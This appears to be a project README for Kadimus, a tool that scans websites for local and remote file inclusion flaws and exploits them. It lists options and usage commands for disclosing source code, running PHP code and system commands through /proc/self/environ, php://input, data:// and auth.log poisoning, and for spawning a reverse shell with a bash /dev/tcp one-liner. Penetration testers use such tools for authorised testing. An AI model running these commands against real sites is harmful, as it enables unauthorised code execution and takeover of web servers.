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Kadimus For LFI / RFI Scan And Exploit Tool


LFI Scan & Exploit Tool

Kadimus is a tool to check sites to lfi vulnerability , and also exploit it


  • Check all url parameters
  • /var/log/auth.log RCE
  • /proc/self/environ RCE
  • php://input RCE
  • data://text RCE
  • Source code disclosure
  • Multi thread scanner
  • Command shell interface through HTTP Request
  • Proxy support (socks4://, socks4a://, socks5:// ,socks5h:// and http://)
  • Proxy socks5 support for bind connections


$ git clone
$ cd Kadimus

You can run the configure file:


Or follow this steps:

Installing libcurl:

  • CentOS/Fedora
# yum install libcurl-devel
  • Debian based
# apt-get install libcurl4-openssl-dev

Installing libpcre:

  • CentOS/Fedora
# yum install pcre-devel
  • Debian based
# apt-get install libpcre3-dev

Installing libssh:

  • CentOS/Fedora
# yum install libssh-devel
  • Debian based
# apt-get install libssh-dev

And finally:

$ make


  -h, --help                    Display this help menu

    -B, --cookie STRING         Set custom HTTP Cookie header
    -A, --user-agent STRING     User-Agent to send to server
    --connect-timeout SECONDS   Maximum time allowed for connection
    --retry-times NUMBER        number of times to retry if connection fails
    --proxy STRING              Proxy to connect, syntax: protocol://hostname:port

    -u, --url STRING            Single URI to scan
    -U, --url-list FILE         File contains URIs to scan
    -o, --output FILE           File to save output results
    --threads NUMBER            Number of threads (2..1000)

    -t, --target STRING         Vulnerable Target to exploit
    --injec-at STRING           Parameter name to inject exploit
                                (only need with RCE data and source disclosure)

    -X, --rce-technique=TECH    LFI to RCE technique to use
    -C, --code STRING           Custom PHP code to execute, with php brackets
    -c, --cmd STRING            Execute system command on vulnerable target system
    -s, --shell                 Simple command shell interface through HTTP Request

    -r, --reverse-shell         Try spawn a reverse shell connection.
    -l, --listen NUMBER         port to listen

    -b, --bind-shell            Try connect to a bind-shell
    -i, --connect-to STRING     Ip/Hostname to connect
    -p, --port NUMBER           Port number to connect
    --b-proxy STRING            IP/Hostname of socks5 proxy
    --b-port NUMBER             Port number of socks5 proxy

    --ssh-port NUMBER           Set the SSH Port to try inject command (Default: 22)
    --ssh-target STRING         Set the SSH Host

    RCE Available techniques

      environ                   Try run PHP Code using /proc/self/environ
      input                     Try run PHP Code using php://input
      auth                      Try run PHP Code using /var/log/auth.log
      data                      Try run PHP Code using data://text

    Source Disclosure:
      -G, --get-source          Try get the source files using filter://
      -f, --filename STRING     Set filename to grab source [REQUIRED]
      -O FILE                   Set output file (Default: stdout)



./kadimus -u localhost/?pg=contact -A my_user_agent
./kadimus -U url_list.txt --threads 10 --connect-timeout 10 --retry-times 0

Get source code of file:

./kadimus -t localhost/?pg=contact -G -f "index.php%00" -O local_output.php --inject-at pg

Execute php code:

./kadimus -t localhost/?pg=php://input%00 -C '<?php echo "pwned"; ?>' -X input

Execute command:

./kadimus -t localhost/?pg=/var/log/auth.log -X auth -c 'ls -lah' --ssh-target localhost

Checking for RFI:

You can also check for RFI errors, just put the remote url on resource/common_files.txt and the regex to identify this, example:

/* */
<?php echo base64_decode("c2NvcnBpb24gc2F5IGdldCBvdmVyIGhlcmU="); ?>

in file: say get over here

Reverse shell:

./kadimus -t localhost/?pg=contact.php -Xdata --inject-at pg -r -l 12345 -c 'bash -i >& /dev/tcp/ 0>&1' --retry-times 0

More information can be found at:

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